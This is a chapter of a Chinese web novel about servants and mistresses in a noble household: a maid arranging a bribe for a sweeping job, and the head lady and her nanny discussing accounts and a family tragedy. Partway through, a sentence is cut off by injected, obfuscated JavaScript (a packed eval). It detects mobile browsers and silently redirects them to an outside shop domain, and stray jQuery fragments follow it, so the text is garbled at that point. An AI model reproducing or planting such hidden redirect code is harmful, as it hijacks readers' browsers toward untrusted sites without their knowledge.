连翘是要自甘堕落,才去当扫地丫鬟的。
她不想受洗衣的累,也不想经历学东西的苦,更不想进姑娘少爷们的院里,呆在主子身边,时时醒儿着神。
但松苓不一样,她娘在庄子上当管事,她要接她娘的位置,就得得大夫人首肯,她原本是想进二姑娘的院里,成为大夫人派系的亲信丫鬟,不求多冒头,只求大夫人记住她的名字。
这样等松苓大了,大夫人想提拔人去庄子上当管事,头一个就会想起松苓。
兴许还会觉得有其母必有其女,松苓娘这样能干,松苓也不会差到哪儿去。
相比之下,和她一起去当扫地丫鬟,简直是不把自己的前程当回事。
连翘自是极力劝阻:“当扫地丫鬟诚然轻松,活也轻巧,但比不得进二姑娘院里,体面月例又高。你是知道我的,嘴馋又懒,巴不得不用理会旁人,才看巧儿想去大少爷院里,好接了巧儿的位置。你何苦跟我一起呢?”
“况且来日你若是二姑娘眼前的红人,他们知道你和我关系好,定然都来巴结我了。”
“要是你和我一样都是扫地丫鬟,那真是谁来都能踩我们一脚了。”
连翘越说越觉得是这么回事,下人间拜高踩低屡见不鲜,扫地丫鬟自不必说,显而易见的低人一等,巧儿已经有一个当管事娘子的伯娘了,还少不得给其他丫鬟带这带那。
巧儿是真的喜欢帮忙吗?
连翘觉得不是,不然巧儿那个没上进心的,何必动了心思去大少爷院里呢。
大少爷虽考中了县案首,但谁也说不清以后。
澄心居眼下是个好地方,但却比不过二姑娘三少爷那里,巧儿若想高就,早八百年不是扫地丫鬟了。
所以约莫是这个扫地丫鬟巧儿当的不痛快了,这才想换地方。
松苓沉思了两息,仍是将钱推给了连翘:“你才入府一个月,没钱傍身,这给你,你去找管事娘子通融通融。我进二姑娘院里不急。”
这话再实诚不过了,二姑娘荣筠蜜顶着龙凤双生子的名头,素来得阖府上下喜欢,院里的下人只多不少。
刻薄了谁,也不能刻薄了二姑娘去。
松苓懂事后就被她娘送进了荣府,但一直找不到机会进二姑娘院里,真应了那句,有银子也没地方使。
好在她十分沉得住气,硬是在浣衣房熬住了。
浣衣房虽哪儿哪儿都不好,但在这里,不必早早站队,也没有那等勾心斗角的事。
连翘想了想,将钱收下了。
大不了她帮松苓攒着就是了。
且这样一来,她找管事娘子通融用的银子也有了来路。
虽然连翘自己知道她能签到有钱花,但架不住有好事的人在心里算她的账啊。
松苓可是帮了她大忙。
连翘将钱收了起来,松苓手上只有些铜板,但她的心却再没有比现在更安稳了。
第二天,巧儿就来找连翘了。
她们寻了一处僻静的地方说话,巧儿羞惭道:“昨日匆匆忙忙,我竟忘留你说会儿话,想想真是不该。”
“这是昨天去大厨房还碗,拿回来的一文钱。”
巧儿将一文钱还给了连翘,但这并不意味着她是要和连翘划清界限了。
而是一码归一码,不能混淆了。
巧儿敞亮道:“你找我,为的是什么事?”
见巧儿开门见山了,连翘也不故弄玄虚,她道:“听闻巧儿姐姐想去大少爷院里,不知若是成了,谁会来顶姐姐的值?”
“寻个小丫头还不简单?”巧儿顿了一下,“你想当扫地丫鬟?”
连翘巴巴地点了点头:“扫地总比洗衣好。”
巧儿疑惑问:“可是我听说,王大娘可是很照顾你。”
巧儿在荣府呆的时间久,她认识王婆子时,人人还称其为王大娘。
连翘叹了口气。
巧儿也就明白了其中必有其他缘由,她是听说过府里的老人会仗着资历拿捏什么都不懂,新入府的小丫头。
而王大娘又不是什么善人,会体恤小丫头的不易。
巧儿理解道:“倘若这样,扫地也不失为一个好去处。”
“这样吧,哪日我带你去见我伯娘,你好认认人,倘若我真得了大少爷的青眼,能去大少爷院里,这位置除了你,谁来都抢不走。”
连翘问:“只是这银钱……”
她不担心巧儿进不去澄心居,因为男主身边真有一个叫巧儿的丫鬟。
巧儿按住连翘的手:“我知道你手头不宽裕,但我伯娘那人只认钱,就算是我,求她帮忙办点事她也不肯白帮忙,少说也得二两银子。”
二两银子,连翘半年的月例了。
“但谁让我与你一见如故呢,我竟不知道你厨艺这样好……这般有门路,若是还有昨日那等好膳食,你可要想着姐姐我,我按五十文、不,一百文的价格来付。”巧儿舔了舔唇,图穷匕见道。
连翘真真是拿捏住了她的胃,她从未像昨天那样,专心致志、痛痛快快吃上一回。
想到昨日的美味,巧儿有了十足的耐性。
她继续哄道:“这二两银子,你从我这儿赚,十天半个月不就赚回来了?”
巧儿将一个荷包递给了连翘:“这是昨日的一百文,我是真拿你当好妹妹,断然不会坑你的。”
连翘忙道:“我自是信巧儿姐姐。”
于是数也未数,连翘就将荷包收下了。
见此,巧儿更满意了,连翘只要收了,就意味着有戏,她隔三岔五也能一饱口福了。
昨日去大厨房,她不光去还碗,还问了东坡肉她要是买,作价几何。
等听到价钱后,巧儿心想她未必不能忍一忍这馋虫,况且她觉得,即便是大厨房最好的厨子,也未必有连翘随意盖在糙米上的东坡肉好吃。
一百文,双方都觉得是自己占了便宜。
事情说好,巧儿离开前叮嘱道:“这事你知我知,可莫要让其他人知道了。”
巧儿说的是连翘拿出的食物,如果再有其他人,可就不够分了。
而连翘以为说的是使银子通融的事,这确实有些不光彩,于是默契点了点头。
二人一前一后离开,均是心情明媚。
李嬷嬷带着随氏身边的大丫鬟莺娘拿着账本正要回玉堂,经过一道月亮门时,正见巧儿和连翘分别开来。
李嬷嬷吩咐莺娘道:“打听打听巧儿和连翘凑在一起干什么。”
莺娘拼命记住这两个不熟悉的名字,道:“奴婢回头就去。”
李嬷嬷浅浅颔首。
到了玉堂,李嬷嬷接过账本递给了大夫人随氏,随氏正坐在书案前。
她身下是铺着青绸软垫的圈椅,案上摆着黄铜镇纸,紫檀笔架,一方青花端砚与已经铺开的账本,砚台里的墨汁浓黑生光,看得出大夫人已经看了许久的账本。
大夫人接过新拿来的账本翻看起来,书房一时只有纸张翻过的声音。
莺娘道:“这回娘子出了这么一大笔银子,老夫人可算是高兴了。”
自己人知道自己人,别看大夫人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699411|208087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掌着府里的中馈,风光的很,但那账目老夫人是要过目的。
倘若老夫人觉得花的不对,连着好几日,大夫人都要在老夫人那儿呆上许久。
为了避免麻烦,有时候大夫人就会拿自己的钱,补府里的账,只有这时候,老夫人才不会多说什么。
那日在萱堂,大夫人说要赏下人一个月的月例,看似是从荣府的账上出,实则是大夫人自己掏的钱。
真是出了钱,也没名。
随氏道:“不过是一笔小钱,老夫人高兴更要紧。”
莺娘又低声道:“当然高兴了,借着大少爷考中县案首的名头,老夫人还让您高价雇来了一名鲁地厨子。”
说是要给大少爷好好补补,但老夫人和大少爷的关系何时这么好了,分明是老夫人自己想要,又不想从府上的账出。
老太爷被罢官,大老爷和二老爷的俸禄连自个儿都顾不上,还要朝府里要钱,府上已经入不敷出许久了。
这老夫人也是知道的,要不然也不会借着府里出了一件喜事,打量大夫人作为嫡母不会拒绝,这才什么都敢开口。
果然,如了老夫人的意。
今日是一个厨子,明日就该是一间铺子了。
莺娘又嘟囔道:“还有娘子送给大少爷和赵姨娘的东西,真是满府都找不到娘子这么大方的主子了。”
对姨娘庶子都这样好。
随氏失笑:“莺娘,你太斤斤计较了,只要老夫人对蜜儿、松儿慈爱如常,这点不算什么。”
“而赵姨娘老实本分,卿哥儿争气,这我也是看在眼里的,卿哥儿得了县案首,莫大的荣誉,合该送些东西嘉奖。”
随氏话中带着纵容,莺娘轻声道:“老爷的姨娘庶子,反倒让娘子来养。”
此话一出,李嬷嬷顿时冷了脸:“愈发不成体统了,老爷的事你也敢说嘴,出去好好反省!”
莺娘见随氏脸上没了笑意,连忙认错,顺着李嬷嬷的话退了出去。
书房只剩大夫人和李嬷嬷二人。
李嬷嬷还残着气道:“娘子总是这样心软,将人纵得不知天高地厚了。”
随氏默了一瞬。
李嬷嬷发觉后,诚恳道:“老奴不是在怨娘子。”
随氏:“我知道妈妈的意思,只是想起连月,还是觉得心痛。”
提起连月,李嬷嬷怔了一下。
那是李嬷嬷的独女,随氏从小一起长大的贴身丫鬟,因随氏性情平和,过分柔婉,身边的下人则是另一个极端。
连月便是出了名的心高气傲,不撞南墙不回头。
当年连月喜欢上了一个长的极具欺骗性的男子,不顾李嬷嬷反对,收拾细软与人私奔了。
那人便是连翘的父亲。
李嬷嬷再找到连月时,连月已经怀孕了,当时的连月尚有回头路可走,但连月以死相逼,让李嬷嬷放弃了这个女儿。
几个月后连月生下了一个女婴,她自己却难产而亡。
李嬷嬷回去带走了连月,但要带走女婴,却要付出极大的代价。
于是她毫不在意地放弃掉了这个孩子。
短短两个月,连月爱到死去活来的男人以找人照顾孩子为由,又续取了一个。
于是连月拿钱给男人找的账房差事,盖的宅子,买的驴,置的数十亩良田都便宜了另一个人。
因为李嬷嬷的决绝,男人终于发现李嬷嬷当真不在乎连月留下的这个女孩,所以在自己要赔一大笔银子时,果断将连翘卖了来填补这个亏空。
而不是找上李嬷嬷。